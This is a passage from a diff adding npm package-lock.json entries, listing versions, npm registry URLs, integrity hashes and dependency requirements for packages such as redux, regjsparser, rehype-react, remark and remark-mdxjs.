+            "requires": {
+                "minimatch": "3.0.3"
+            },
+            "dependencies": {
+                "minimatch": {
+                    "version": "3.0.3",
+                    "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.3.tgz",
+                    "integrity": "sha512-NyXjqu1IwcqH6nv5vmMtaG3iw7kdV3g6MwlUBZkc3Vn5b5AMIWYKfptvzipoyFfhlfOgBQ9zoTxQMravF1QTnw==",
+                    "requires": {
+                        "brace-expansion": "^1.0.0"
+                    }
+                }
+            }
+        },
+        "redent": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/redent/-/redent-1.0.0.tgz",
+            "integrity": "sha512-qtW5hKzGQZqKoh6JNSD+4lfitfPKGz42e6QwiRmPM5mmKtR0N41AbJRYu0xJi7nhOJ4WDgRkKvAk6tw4WIwR4g==",
+            "requires": {
+                "indent-string": "^2.1.0",
+                "strip-indent": "^1.0.1"
+            },
+            "dependencies": {
+                "indent-string": {
+                    "version": "2.1.0",
+                    "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-2.1.0.tgz",
+                    "integrity": "sha512-aqwDFWSgSgfRaEwao5lg5KEcVd/2a+D1rvoG7NdilmYz0NwRk6StWpWdz/Hpk34MKPpx7s8XxUqimfcQK6gGlg==",
+                    "requires": {
+                        "repeating": "^2.0.0"
+                    }
+                }
+            }
+        },
+        "redux": {
+            "version": "4.2.0",
+            "resolved": "https://registry.npmjs.org/redux/-/redux-4.2.0.tgz",
+            "integrity": "sha512-oSBmcKKIuIR4ME29/AeNUnl5L+hvBq7OaJWzaptTQJAntaPvxIJqfnjbaEiCzzaIz+XmVILfqAM3Ob0aXLPfjA==",
+            "requires": {
+                "@babel/runtime": "^7.9.2"
+            }
+        },
+        "redux-thunk": {
+            "version": "2.4.1",
+            "resolved": "https://registry.npmjs.org/redux-thunk/-/redux-thunk-2.4.1.tgz",
+            "integrity": "sha512-OOYGNY5Jy2TWvTL1KgAlVy6dcx3siPJ1wTq741EPyUKfn6W6nChdICjZwCd0p8AZBs5kWpZlbkXW2nE/zjUa+Q=="
+        },
+        "regenerate": {
+            "version": "1.4.2",
+            "resolved": "https://registry.npmjs.org/regenerate/-/regenerate-1.4.2.tgz",
+            "integrity": "sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A=="
+        },
+        "regenerate-unicode-properties": {
+            "version": "10.0.1",
+            "resolved": "https://registry.npmjs.org/regenerate-unicode-properties/-/regenerate-unicode-properties-10.0.1.tgz",
+            "integrity": "sha512-vn5DU6yg6h8hP/2OkQo3K7uVILvY4iu0oI4t3HFa81UPkhGJwkRwM10JEc3upjdhHjs/k8GJY1sRBhk5sr69Bw==",
+            "requires": {
+                "regenerate": "^1.4.2"
+            }
+        },
+        "regenerator-runtime": {
+            "version": "0.11.1",
+            "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.11.1.tgz",
+            "integrity": "sha512-MguG95oij0fC3QV3URf4V2SDYGJhJnJGqvIIgdECeODCT98wSWDAJ94SSuVpYQUoTcGUIL6L4yNB7j1DFFHSBg=="
+        },
+        "regenerator-transform": {
+            "version": "0.15.0",
+            "resolved": "https://registry.npmjs.org/regenerator-transform/-/regenerator-transform-0.15.0.tgz",
+            "integrity": "sha512-LsrGtPmbYg19bcPHwdtmXwbW+TqNvtY4riE3P83foeHRroMbH6/2ddFBfab3t7kbzc7v7p4wbkIecHImqt0QNg==",
+            "requires": {
+                "@babel/runtime": "^7.8.4"
+            }
+        },
+        "regex-cache": {
+            "version": "0.4.4",
+            "resolved": "https://registry.npmjs.org/regex-cache/-/regex-cache-0.4.4.tgz",
+            "integrity": "sha512-nVIZwtCjkC9YgvWkpM55B5rBhBYRZhAaJbgcFYXXsHnbZ9UZI9nnVWYZpBlCqv9ho2eZryPnWrZGsOdPwVWXWQ==",
+            "requires": {
+                "is-equal-shallow": "^0.1.3"
+            }
+        },
+        "regex-not": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/regex-not/-/regex-not-1.0.2.tgz",
+            "integrity": "sha512-J6SDjUgDxQj5NusnOtdFxDwN/+HWykR8GELwctJ7mdqhcyy1xEc4SRFHUXvxTp661YaVKAjfRLZ9cCqS6tn32A==",
+            "requires": {
+                "extend-shallow": "^3.0.2",
+                "safe-regex": "^1.1.0"
+            }
+        },
+        "regexp.prototype.flags": {
+            "version": "1.4.3",
+            "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.4.3.tgz",
+            "integrity": "sha512-fjggEOO3slI6Wvgjwflkc4NFRCTZAu5CnNfBd5qOMYhWdn67nJBBu34/TkD++eeFmd8C9r9jfXJ27+nSiRkSUA==",
+            "requires": {
+                "call-bind": "^1.0.2",
+                "define-properties": "^1.1.3",
+                "functions-have-names": "^1.2.2"
+            }
+        },
+        "regexpp": {
+            "version": "3.2.0",
+            "resolved": "https://registry.npmjs.org/regexpp/-/regexpp-3.2.0.tgz",
+            "integrity": "sha512-pq2bWo9mVD43nbts2wGv17XLiNLya+GklZ8kaDLV2Z08gDCsGpnKn9BFMepvWuHCbyVvY7J5o5+BVvoQbmlJLg=="
+        },
+        "regexpu-core": {
+            "version": "5.1.0",
+            "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-5.1.0.tgz",
+            "integrity": "sha512-bb6hk+xWd2PEOkj5It46A16zFMs2mv86Iwpdu94la4S3sJ7C973h2dHpYKwIBGaWSO7cIRJ+UX0IeMaWcO4qwA==",
+            "requires": {
+                "regenerate": "^1.4.2",
+                "regenerate-unicode-properties": "^10.0.1",
+                "regjsgen": "^0.6.0",
+                "regjsparser": "^0.8.2",
+                "unicode-match-property-ecmascript": "^2.0.0",
+                "unicode-match-property-value-ecmascript": "^2.0.0"
+            }
+        },
+        "registry-auth-token": {
+            "version": "4.2.2",
+            "resolved": "https://registry.npmjs.org/registry-auth-token/-/registry-auth-token-4.2.2.tgz",
+            "integrity": "sha512-PC5ZysNb42zpFME6D/XlIgtNGdTl8bBOCw90xQLVMpzuuubJKYDWFAEuUNc+Cn8Z8724tg2SDhDRrkVEsqfDMg==",
+            "requires": {
+                "rc": "1.2.8"
+            }
+        },
+        "registry-url": {
+            "version": "5.1.0",
+            "resolved": "https://registry.npmjs.org/registry-url/-/registry-url-5.1.0.tgz",
+            "integrity": "sha512-8acYXXTI0AkQv6RAOjE3vOaIXZkT9wo4LOFbBKYQEEnnMNBpKqdUrI6S4NT0KPIo/WVvJ5tE/X5LF/TQUf0ekw==",
+            "requires": {
+                "rc": "^1.2.8"
+            }
+        },
+        "regjsgen": {
+            "version": "0.6.0",
+            "resolved": "https://registry.npmjs.org/regjsgen/-/regjsgen-0.6.0.tgz",
+            "integrity": "sha512-ozE883Uigtqj3bx7OhL1KNbCzGyW2NQZPl6Hs09WTvCuZD5sTI4JY58bkbQWa/Y9hxIsvJ3M8Nbf7j54IqeZbA=="
+        },
+        "regjsparser": {
+            "version": "0.8.4",
+            "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.8.4.tgz",
+            "integrity": "sha512-J3LABycON/VNEu3abOviqGHuB/LOtOQj8SKmfP9anY5GfAVw/SPjwzSjxGjbZXIxbGfqTHtJw58C2Li/WkStmA==",
+            "requires": {
+                "jsesc": "~0.5.0"
+            },
+            "dependencies": {
+                "jsesc": {
+                    "version": "0.5.0",
+                    "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-0.5.0.tgz",
+                    "integrity": "sha512-uZz5UnB7u4T9LvwmFqXii7pZSouaRPorGs5who1Ip7VO0wxanFvBL7GkM6dTHlgX+jhBApRetaWpnDabOeTcnA=="
+                }
+            }
+        },
+        "rehype-react": {
+            "version": "3.0.2",
+            "resolved": "https://registry.npmjs.org/rehype-react/-/rehype-react-3.0.2.tgz",
+            "integrity": "sha512-TtqEF4Yh57mt+SUuD2DVOPf7tRlLgSvQRo9dq+iChn/CZ7bDE9gL3mqvK8FXMuTfFso6DUW1Cy87YchIwLsMUQ==",
+            "requires": {
+                "has": "^1.0.1",
+                "hast-to-hyperscript": "^4.0.0"
+            },
+            "dependencies": {
+                "hast-to-hyperscript": {
+                    "version": "4.0.0",
+                    "resolved": "https://registry.npmjs.org/hast-to-hyperscript/-/hast-to-hyperscript-4.0.0.tgz",
+                    "integrity": "sha512-4kOn4ihjDJTQg7B53ZcZ6NyExtTeG3hLNZv6rSKhq4haQvD52zCllE+49iLiC1VWuc4DbHmt96FHPGlHbslZqQ==",
+                    "requires": {
+                        "comma-separated-tokens": "^1.0.0",
+                        "is-nan": "^1.2.1",
+                        "kebab-case": "^1.0.0",
+                        "property-information": "^3.0.0",
+                        "space-separated-tokens": "^1.0.0",
+                        "trim": "0.0.1",
+                        "unist-util-is": "^2.0.0"
+                    }
+                },
+                "property-information": {
+                    "version": "3.2.0",
+                    "resolved": "https://registry.npmjs.org/property-information/-/property-information-3.2.0.tgz",
+                    "integrity": "sha1-/RSDyPusYYCPX+NZ52k6H0ilgzE="
+                },
+                "unist-util-is": {
+                    "version": "2.1.3",
+                    "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-2.1.3.tgz",
+                    "integrity": "sha512-4WbQX2iwfr/+PfM4U3zd2VNXY+dWtZsN1fLnWEi2QQXA4qyDYAZcDMfXUX0Cu6XZUHHAO9q4nyxxLT4Awk1qUA=="
+                }
+            }
+        },
+        "remark": {
+            "version": "10.0.1",
+            "resolved": "https://registry.npmjs.org/remark/-/remark-10.0.1.tgz",
+            "integrity": "sha512-E6lMuoLIy2TyiokHprMjcWNJ5UxfGQjaMSMhV+f4idM625UjjK4j798+gPs5mfjzDE6vL0oFKVeZM6gZVSVrzQ==",
+            "requires": {
+                "remark-parse": "^6.0.0",
+                "remark-stringify": "^6.0.0",
+                "unified": "^7.0.0"
+            },
+            "dependencies": {
+                "ccount": {
+                    "version": "1.1.0",
+                    "resolved": "https://registry.npmjs.org/ccount/-/ccount-1.1.0.tgz",
+                    "integrity": "sha512-vlNK021QdI7PNeiUh/lKkC/mNHHfV0m/Ad5JoI0TYtlBnJAslM/JIkm/tGC88bkLIwO6OQ5uV6ztS6kVAtCDlg=="
+                },
+                "character-entities": {
+                    "version": "1.2.4",
+                    "resolved": "https://registry.npmjs.org/character-entities/-/character-entities-1.2.4.tgz",
+                    "integrity": "sha512-iBMyeEHxfVnIakwOuDXpVkc54HijNgCyQB2w0VfGQThle6NXn50zU6V/u+LDhxHcDUPojn6Kpga3PTAD8W1bQw=="
+                },
+                "character-entities-html4": {
+                    "version": "1.1.4",
+                    "resolved": "https://registry.npmjs.org/character-entities-html4/-/character-entities-html4-1.1.4.tgz",
+                    "integrity": "sha512-HRcDxZuZqMx3/a+qrzxdBKBPUpxWEq9xw2OPZ3a/174ihfrQKVsFhqtthBInFy1zZ9GgZyFXOatNujm8M+El3g=="
+                },
+                "character-entities-legacy": {
+                    "version": "1.1.4",
+                    "resolved": "https://registry.npmjs.org/character-entities-legacy/-/character-entities-legacy-1.1.4.tgz",
+                    "integrity": "sha512-3Xnr+7ZFS1uxeiUDvV02wQ+QDbc55o97tIV5zHScSPJpcLm/r0DFPcoY3tYRp+VZukxuMeKgXYmsXQHO05zQeA=="
+                },
+                "character-reference-invalid": {
+                    "version": "1.1.4",
+                    "resolved": "https://registry.npmjs.org/character-reference-invalid/-/character-reference-invalid-1.1.4.tgz",
+                    "integrity": "sha512-mKKUkUbhPpQlCOfIuZkvSEgktjPFIsZKRRbC6KWVEMvlzblj3i3asQv5ODsrwt0N3pHAEvjP8KTQPHkp0+6jOg=="
+                },
+                "is-alphabetical": {
+                    "version": "1.0.4",
+                    "resolved": "https://registry.npmjs.org/is-alphabetical/-/is-alphabetical-1.0.4.tgz",
+                    "integrity": "sha512-DwzsA04LQ10FHTZuL0/grVDk4rFoVH1pjAToYwBrHSxcrBIGQuXrQMtD5U1b0U2XVgKZCTLLP8u2Qxqhy3l2Vg=="
+                },
+                "is-alphanumerical": {
+                    "version": "1.0.4",
+                    "resolved": "https://registry.npmjs.org/is-alphanumerical/-/is-alphanumerical-1.0.4.tgz",
+                    "integrity": "sha512-UzoZUr+XfVz3t3v4KyGEniVL9BDRoQtY7tOyrRybkVNjDFWyo1yhXNGrrBTQxp3ib9BLAWs7k2YKBQsFRkZG9A==",
+                    "requires": {
+                        "is-alphabetical": "^1.0.0",
+                        "is-decimal": "^1.0.0"
+                    }
+                },
+                "is-buffer": {
+                    "version": "2.0.5",
+                    "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-2.0.5.tgz",
+                    "integrity": "sha512-i2R6zNFDwgEHJyQUtJEk0XFi1i0dPFn/oqjK3/vPCcDeJvW5NQ83V8QbicfF1SupOaB0h8ntgBC2YiE7dfyctQ=="
+                },
+                "is-decimal": {
+                    "version": "1.0.4",
+                    "resolved": "https://registry.npmjs.org/is-decimal/-/is-decimal-1.0.4.tgz",
+                    "integrity": "sha512-RGdriMmQQvZ2aqaQq3awNA6dCGtKpiDFcOzrTWrDAT2MiWrKQVPmxLGHl7Y2nNu6led0kEyoX0enY0qXYsv9zw=="
+                },
+                "is-hexadecimal": {
+                    "version": "1.0.4",
+                    "resolved": "https://registry.npmjs.org/is-hexadecimal/-/is-hexadecimal-1.0.4.tgz",
+                    "integrity": "sha512-gyPJuv83bHMpocVYoqof5VDiZveEoGoFL8m3BXNb2VW8Xs+rz9kqO8LOQ5DH6EsuvilT1ApazU0pyl+ytbPtlw=="
+                },
+                "is-plain-obj": {
+                    "version": "1.1.0",
+                    "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-1.1.0.tgz",
+                    "integrity": "sha512-yvkRyxmFKEOQ4pNXCmJG5AEQNlXJS5LaONXo5/cLdTZdWvsZ1ioJEonLGAosKlMWE8lwUy/bJzMjcw8az73+Fg=="
+                },
+                "longest-streak": {
+                    "version": "2.0.4",
+                    "resolved": "https://registry.npmjs.org/longest-streak/-/longest-streak-2.0.4.tgz",
+                    "integrity": "sha512-vM6rUVCVUJJt33bnmHiZEvr7wPT78ztX7rojL+LW51bHtLh6HTjx84LA5W4+oa6aKEJA7jJu5LR6vQRBpA5DVg=="
+                },
+                "markdown-table": {
+                    "version": "1.1.3",
+                    "resolved": "https://registry.npmjs.org/markdown-table/-/markdown-table-1.1.3.tgz",
+                    "integrity": "sha512-1RUZVgQlpJSPWYbFSpmudq5nHY1doEIv89gBtF0s4gW1GF2XorxcA/70M5vq7rLv0a6mhOUccRsqkwhwLCIQ2Q=="
+                },
+                "mdast-util-compact": {
+                    "version": "1.0.4",
+                    "resolved": "https://registry.npmjs.org/mdast-util-compact/-/mdast-util-compact-1.0.4.tgz",
+                    "integrity": "sha512-3YDMQHI5vRiS2uygEFYaqckibpJtKq5Sj2c8JioeOQBU6INpKbdWzfyLqFFnDwEcEnRFIdMsguzs5pC1Jp4Isg==",
+                    "requires": {
+                        "unist-util-visit": "^1.1.0"
+                    }
+                },
+                "parse-entities": {
+                    "version": "1.2.2",
+                    "resolved": "https://registry.npmjs.org/parse-entities/-/parse-entities-1.2.2.tgz",
+                    "integrity": "sha512-NzfpbxW/NPrzZ/yYSoQxyqUZMZXIdCfE0OIN4ESsnptHJECoUk3FZktxNuzQf4tjt5UEopnxpYJbvYuxIFDdsg==",
+                    "requires": {
+                        "character-entities": "^1.0.0",
+                        "character-entities-legacy": "^1.0.0",
+                        "character-reference-invalid": "^1.0.0",
+                        "is-alphanumerical": "^1.0.0",
+                        "is-decimal": "^1.0.0",
+                        "is-hexadecimal": "^1.0.0"
+                    }
+                },
+                "remark-stringify": {
+                    "version": "6.0.4",
+                    "resolved": "https://registry.npmjs.org/remark-stringify/-/remark-stringify-6.0.4.tgz",
+                    "integrity": "sha512-eRWGdEPMVudijE/psbIDNcnJLRVx3xhfuEsTDGgH4GsFF91dVhw5nhmnBppafJ7+NWINW6C7ZwWbi30ImJzqWg==",
+                    "requires": {
+                        "ccount": "^1.0.0",
+                        "is-alphanumeric": "^1.0.0",
+                        "is-decimal": "^1.0.0",
+                        "is-whitespace-character": "^1.0.0",
+                        "longest-streak": "^2.0.1",
+                        "markdown-escapes": "^1.0.0",
+                        "markdown-table": "^1.1.0",
+                        "mdast-util-compact": "^1.0.0",
+                        "parse-entities": "^1.0.2",
+                        "repeat-string": "^1.5.4",
+                        "state-toggle": "^1.0.0",
+                        "stringify-entities": "^1.0.1",
+                        "unherit": "^1.0.4",
+                        "xtend": "^4.0.1"
+                    }
+                },
+                "stringify-entities": {
+                    "version": "1.3.2",
+                    "resolved": "https://registry.npmjs.org/stringify-entities/-/stringify-entities-1.3.2.tgz",
+                    "integrity": "sha512-nrBAQClJAPN2p+uGCVJRPIPakKeKWZ9GtBCmormE7pWOSlHat7+x5A8gx85M7HM5Dt0BP3pP5RhVW77WdbJJ3A==",
+                    "requires": {
+                        "character-entities-html4": "^1.0.0",
+                        "character-entities-legacy": "^1.0.0",
+                        "is-alphanumerical": "^1.0.0",
+                        "is-hexadecimal": "^1.0.0"
+                    }
+                },
+                "unified": {
+                    "version": "7.1.0",
+                    "resolved": "https://registry.npmjs.org/unified/-/unified-7.1.0.tgz",
+                    "integrity": "sha512-lbk82UOIGuCEsZhPj8rNAkXSDXd6p0QLzIuSsCdxrqnqU56St4eyOB+AlXsVgVeRmetPTYydIuvFfpDIed8mqw==",
+                    "requires": {
+                        "@types/unist": "^2.0.0",
+                        "@types/vfile": "^3.0.0",
+                        "bail": "^1.0.0",
+                        "extend": "^3.0.0",
+                        "is-plain-obj": "^1.1.0",
+                        "trough": "^1.0.0",
+                        "vfile": "^3.0.0",
+                        "x-is-string": "^0.1.0"
+                    }
+                },
+                "unist-util-is": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-3.0.0.tgz",
+                    "integrity": "sha512-sVZZX3+kspVNmLWBPAB6r+7D9ZgAFPNWm66f7YNb420RlQSbn+n8rG8dGZSkrER7ZIXGQYNm5pqC3v3HopH24A=="
+                },
+                "unist-util-stringify-position": {
+                    "version": "1.1.2",
+                    "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-1.1.2.tgz",
+                    "integrity": "sha512-pNCVrk64LZv1kElr0N1wPiHEUoXNVFERp+mlTg/s9R5Lwg87f9bM/3sQB99w+N9D/qnM9ar3+AKDBwo/gm/iQQ=="
+                },
+                "unist-util-visit": {
+                    "version": "1.4.1",
+                    "resolved": "https://registry.npmjs.org/unist-util-visit/-/unist-util-visit-1.4.1.tgz",
+                    "integrity": "sha512-AvGNk7Bb//EmJZyhtRUnNMEpId/AZ5Ph/KUpTI09WHQuDZHKovQ1oEv3mfmKpWKtoMzyMC4GLBm1Zy5k12fjIw==",
+                    "requires": {
+                        "unist-util-visit-parents": "^2.0.0"
+                    }
+                },
+                "unist-util-visit-parents": {
+                    "version": "2.1.2",
+                    "resolved": "https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-2.1.2.tgz",
+                    "integrity": "sha512-DyN5vD4NE3aSeB+PXYNKxzGsfocxp6asDc2XXE3b0ekO2BaRUpBicbbUygfSvYfUz1IkmjFR1YF7dPklraMZ2g==",
+                    "requires": {
+                        "unist-util-is": "^3.0.0"
+                    }
+                },
+                "vfile": {
+                    "version": "3.0.1",
+                    "resolved": "https://registry.npmjs.org/vfile/-/vfile-3.0.1.tgz",
+                    "integrity": "sha512-y7Y3gH9BsUSdD4KzHsuMaCzRjglXN0W2EcMf0gpvu6+SbsGhMje7xDc8AEoeXy6mIwCKMI6BkjMsRjzQbhMEjQ==",
+                    "requires": {
+                        "is-buffer": "^2.0.0",
+                        "replace-ext": "1.0.0",
+                        "unist-util-stringify-position": "^1.0.0",
+                        "vfile-message": "^1.0.0"
+                    }
+                },
+                "vfile-message": {
+                    "version": "1.1.1",
+                    "resolved": "https://registry.npmjs.org/vfile-message/-/vfile-message-1.1.1.tgz",
+                    "integrity": "sha512-1WmsopSGhWt5laNir+633LszXvZ+Z/lxveBf6yhGsqnQIhlhzooZae7zV6YVM1Sdkw68dtAW3ow0pOdPANugvA==",
+                    "requires": {
+                        "unist-util-stringify-position": "^1.1.1"
+                    }
+                }
+            }
+        },
+        "remark-mdx": {
+            "version": "2.1.2",
+            "resolved": "https://registry.npmjs.org/remark-mdx/-/remark-mdx-2.1.2.tgz",
+            "integrity": "sha512-npQagPdczPAv0xN9F8GSi5hJfAe/z6nBjylyfOfjLOmz086ahWrIjlk4BulRfNhA+asutqWxyuT3DFVsxiTVHA==",
+            "requires": {
+                "mdast-util-mdx": "^2.0.0",
+                "micromark-extension-mdxjs": "^1.0.0"
+            }
+        },
+        "remark-mdxjs": {
+            "version": "2.0.0-next.8",
+            "resolved": "https://registry.npmjs.org/remark-mdxjs/-/remark-mdxjs-2.0.0-next.8.tgz",
+            "integrity": "sha512-Z/+0eWc7pBEABwg3a5ptL+vCTWHYMFnYzpLoJxTm2muBSk8XyB/CL+tEJ6SV3Q/fScHX2dtG4JRcGSpbZFLazQ==",
+            "requires": {
+                "@babel/core": "7.10.5",
+                "@babel/helper-plugin-utils": "7.10.4",
+                "@babel/plugin-proposal-object-rest-spread": "7.10.4",
+                "@babel/plugin-syntax-jsx": "7.10.4",
+                "@mdx-js/util": "^2.0.0-next.8"
+            },
+            "dependencies": {
+                "@babel/core": {
+                    "version": "7.10.5",
+                    "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.10.5.tgz",
+                    "integrity": "sha512-O34LQooYVDXPl7QWCdW9p4NR+QlzOr7xShPPJz8GsuCU3/8ua/wqTr7gmnxXv+WBESiGU/G5s16i6tUvHkNb+w==",
+                    "requires": {
+                        "@babel/code-frame": "^7.10.4",
+                        "@babel/generator": "^7.10.5",
+                        "@babel/helper-module-transforms": "^7.10.5",
+                        "@babel/helpers": "^7.10.4",
+                        "@babel/parser": "^7.10.5",
+                        "@babel/template": "^7.10.4",
+                        "@babel/traverse": "^7.10.5",
+                        "@babel/types": "^7.10.5",
+                        "convert-source-map": "^1.7.0",
+                        "debug": "^4.1.0",
+                        "gensync": "^1.0.0-beta.1",
+                        "json5": "^2.1.2",
+                        "lodash": "^4.17.19",
+                        "resolve": "^1.3.2",
+                        "semver": "^5.4.1",
+                        "source-map": "^0.5.0"
+                    }
+                },
+                "@babel/helper-plugin-utils": {
+                    "version": "7.10.4",
+                    "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.10.4.tgz",
+                    "integrity": "sha512-O4KCvQA6lLiMU9l2eawBPMf1xPP8xPfB3iEQw150hOVTqj/rfXz0ThTb4HEzqQfs2Bmo5Ay8BzxfzVtBrr9dVg=="
+                },
+                "@babel/plugin-proposal-object-rest-spread": {
+                    "version": "7.10.4",
+                    "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-object-rest-spread/-/plugin-proposal-object-rest-spread-7.10.4.tgz",
+                    "integrity": "sha512-6vh4SqRuLLarjgeOf4EaROJAHjvu9Gl+/346PbDH9yWbJyfnJ/ah3jmYKYtswEyCoWZiidvVHjHshd4WgjB9BA==",
+                    "requires": {
+                        "@babel/helper-plugin-utils": "^7.10.4",
+                        "@babel/plugin-syntax-object-rest-spread": "^7.8.0",
+                        "@babel/plugin-transform-parameters": "^7.10.4"
+                    }
+                },
+                "@babel/plugin-syntax-jsx": {
+                    "version": "7.10.4",
+                    "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.10.4.tgz",
+                    "integrity": "sha512-KCg9mio9jwiARCB7WAcQ7Y1q+qicILjoK8LP/VkPkEKaf5dkaZZK1EcTe91a3JJlZ3qy6L5s9X52boEYi8DM9g==",
+                    "requires": {
+                        "@babel/helper-plugin-utils": "^7.10.4"
+                    }
+                },
+                "debug": {
+                    "version": "4.3.4",
+                    "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz",
+                    "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==",
+                    "requires": {
+                        "ms": "2.1.2"
+                    }
+                },
+                "ms": {
+                    "version": "2.1.2",
+                    "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+                    "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
+                },
+                "semver": {
+                    "version": "5.7.1",
+                    "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz",
+                    "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ=="
+                }
+            }
+        },
+        "remark-parse": {
+            "version": "6.0.3",
+            "resolved": "https://registry.npmjs.org/remark-parse/-/remark-parse-6.0.3.tgz",
+            "integrity": "sha512-QbDXWN4HfKTUC0hHa4teU463KclLAnwpn/FBn87j9cKYJWWawbiLgMfP2Q4XwhxxuuuOxHlw+pSN0OKuJwyVvg==",
+            "requires": {
+                "collapse-white-space": "^1.0.2",
+                "is-alphabetical": "^1.0.0",
+                "is-decimal": "^1.0.0",
+                "is-whitespace-character": "^1.0.0",
+                "is-word-character": "^1.0.0",
+                "markdown-escapes": "^1.0.0",
+                "parse-entities": "^1.1.0",
+                "repeat-string": "^1.5.4",
+                "state-toggle": "^1.0.0",
+                "trim": "0.0.1",
+                "trim-trailing-lines": "^1.0.0",
+                "unherit": "^1.0.4",
+                "unist-util-remove-position": "^1.0.0",
+                "vfile-location": "^2.0.0",
+                "xtend": "^4.0.1"
+            },
+            "dependencies": {
+                "character-entities": {
+                    "version": "1.2.4",
+                    "resolved": "https://registry.npmjs.org/character-entities/-/character-entities-1.2.4.tgz",
+                    "integrity": "sha512-iBMyeEHxfVnIakwOuDXpVkc54HijNgCyQB2w0VfGQThle6NXn50zU6V/u+LDhxHcDUPojn6Kpga3PTAD8W1bQw=="
+                },
+                "character-entities-legacy": {
+                    "version": "1.1.4",
+                    "resolved": "https://registry.npmjs.org/character-entities-legacy/-/character-entities-legacy-1.1.4.tgz",
+                    "integrity": "sha512-3Xnr+7ZFS1uxeiUDvV02wQ+QDbc55o97tIV5zHScSPJpcLm/r0DFPcoY3tYRp+VZukxuMeKgXYmsXQHO05zQeA=="
+                },
+                "character-reference-invalid": {
+                    "version": "1.1.4",
+                    "resolved": "https://registry.npmjs.org/character-reference-invalid/-/character-reference-invalid-1.1.4.tgz",
+                    "integrity": "sha512-mKKUkUbhPpQlCOfIuZkvSEgktjPFIsZKRRbC6KWVEMvlzblj3i3asQv5ODsrwt0N3pHAEvjP8KTQPHkp0+6jOg=="
+                },
+                "is-alphabetical": {
+                    "version": "1.0.4",
+                    "resolved": "https://registry.npmjs.org/is-alphabetical/-/is-alphabetical-1.0.4.tgz",
+                    "integrity": "sha512-DwzsA04LQ10FHTZuL0/grVDk4rFoVH1pjAToYwBrHSxcrBIGQuXrQMtD5U1b0U2XVgKZCTLLP8u2Qxqhy3l2Vg=="
+                },
+                "is-alphanumerical": {
+                    "version": "1.0.4",
+                    "resolved": "https://registry.npmjs.org/is-alphanumerical/-/is-alphanumerical-1.0.4.tgz",
+                    "integrity": "sha512-UzoZUr+XfVz3t3v4KyGEniVL9BDRoQtY7tOyrRybkVNjDFWyo1yhXNGrrBTQxp3ib9BLAWs7k2YKBQsFRkZG9A==",
+                    "requires": {
+                        "is-alphabetical": "^1.0.0",
+                        "is-decimal": "^1.0.0"
+                    }
+                },
+                "is-decimal": {
+                    "version": "1.0.4",
+                    "resolved": "https://registry.npmjs.org/is-decimal/-/is-decimal-1.0.4.tgz",
+                    "integrity": "sha512-RGdriMmQQvZ2aqaQq3awNA6dCGtKpiDFcOzrTWrDAT2MiWrKQVPmxLGHl7Y2nNu6led0kEyoX0enY0qXYsv9zw=="
+                },
+                "is-hexadecimal": {
+                    "version": "1.0.4",
+                    "resolved": "https://registry.npmjs.org/is-hexadecimal/-/is-hexadecimal-1.0.4.tgz",
+                    "integrity": "sha512-gyPJuv83bHMpocVYoqof5VDiZveEoGoFL8m3BXNb2VW8Xs+rz9kqO8LOQ5DH6EsuvilT1ApazU0pyl+ytbPtlw=="
+                },
+                "parse-entities": {
+                    "version": "1.2.2",
+                    "resolved": "https://registry.npmjs.org/parse-entities/-/parse-entities-1.2.2.tgz",
+                    "integrity": "sha512-NzfpbxW/NPrzZ/yYSoQxyqUZMZXIdCfE0OIN4ESsnptHJECoUk3FZktxNuzQf4tjt5UEopnxpYJbvYuxIFDdsg==",
+                    "requires": {
+                        "character-entities": "^1.0.0",
+                        "character-entities-legacy": "^1.0.0",
+                        "character-reference-invalid": "^1.0.0",
+                        "is-alphanumerical": "^1.0.0",
+                        "is-decimal": "^1.0.0",
+                        "is-hexadecimal": "^1.0.0"
+                    }
+                },
+                "unist-util-is": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-3.0.0.tgz",
+                    "integrity": "sha512-sVZZX3+kspVNmLWBPAB6r+7D9ZgAFPNWm66f7YNb420RlQSbn+n8rG8dGZSkrER7ZIXGQYNm5pqC3v3HopH24A=="
+                },
+                "unist-util-remove-position": {
+                    "version": "1.1.4",
+                    "resolved": "https://registry.npmjs.org/unist-util-remove-position/-/unist-util-remove-position-1.1.4.tgz",
